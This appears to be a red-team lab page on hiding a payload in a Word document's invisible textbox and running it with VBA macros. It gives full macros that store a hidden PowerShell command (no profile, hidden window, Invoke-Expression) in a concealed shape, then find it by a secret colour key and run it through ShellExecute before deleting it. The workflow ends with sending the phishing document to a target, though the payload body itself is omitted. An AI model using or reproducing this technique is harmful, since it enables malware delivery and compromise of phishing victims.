Inline Shapes

We can use Inline Shapes to house our malicious code, which can then be called and deleted from a macro.

We will focus on the textbox shape for this lab

Our execution flow will be

  1. Create a phishing document

  2. Use the Inline Shape creation macro found below

  3. Delete the Inline Shape creation macro and add in the following execution macro

  4. Save the document and send it to the target

This will be the textbox macro that will create the inline shape and adds the payload text in there.

The secret key is a value that our macro will look for while looking through each in line shape, if it finds the secret key, it will extract the text from that inline shape and execute it.

Sub createTextBox()
On Error Resume Next
Dim objTextBox As Shape
Dim secretkey As Long

Dim str As String
Dim zHf As String

payload = "nVhLj9s2EL7vryAWOqyxdkBJ1CtGgKQNCgQo0qCbtoeFDxJFdY1qbc"

--Full Payload Excluded--

zHf = " -NoP -NonI -W Hidden -Command ""Invoke-"
zHf = zHf + "Expression $(New-Object IO.StreamReader ($(New-O"

--Full PowerShell Command Excluded (references the payload string)--

secretkey = RGB(2, 2, 2) ' this value is a secret key, when we try to run this, it will search the doc for all the shapes, ad search for the key, and will run the macro.
Set objTextBox = ActiveDocument.Shapes.AddTextbox(msoTextOrientationHorizontal, 0, 0, 0, 0)
With objTextBox
    .TextFrame.TextRange.Text = "powershell.exe|" + zHf + "|open|1"
    .Name = "Shell.Application"
    .Height = 100
    .Width = 100
    .Visible = msoFalse
    .Shadow.Visible = True
.Shadow.ForeColor.RGB = secretkey
    .AlternativeText = "ShellExecute"
    .TextFrame.TextRange.Font.TextColor.RGB = ActiveDocument.Background.Fill.BackColor
End With
End Sub

The above macro will create our inline shape with our payload in it. Once that macro executes, it is safe to delete it. Our payload is now hidden in an inline shape inside the document.

We will then have our execution macro which will retrieve the contents of the inline shape and run it:

Sub ExecuteTextBoxCommands()
On Error Resume Next
Dim objCmdShape As Shape
Dim secretkey As Long
Dim cmdParams() As String
Dim cmdCommand As String
Dim cmdType As String
Dim cmdObj As Object

secretkey = RGB(2, 2, 2)
For x = 1 To ActiveDocument.Shapes.Count
    Set objCmdShape = ActiveDocument.Shapes(x)
    If objCmdShape.Shadow.ForeColor.RGB = secretkey Then
        cmdType = objCmdShape.Name
        cmdCommand = objCmdShape.AlternativeText
        cmdParams = Split(objCmdShape.TextFrame.TextRange.Text, "|")

        Set cmdObj = Interaction.CreateObject(cmdType)
        VBA$.[Interaction].CallByName! cmdObj, [cmdCommand], VbMethod, cmdParams(0), Trim(cmdParams(1)), cmdParams(2), cmdParams(3)
        
        objCmdShape.Delete
        Exit For
    End If
Next
End Sub

Notice how we delete the shape so multiple executions can't happen. The above macro uses the call by name function to run whatever is in the shape once we find the shape that matches with our key which will run our payload.

Note that because we deleted the inline shape, this is a payload that can only run once.

References

Last updated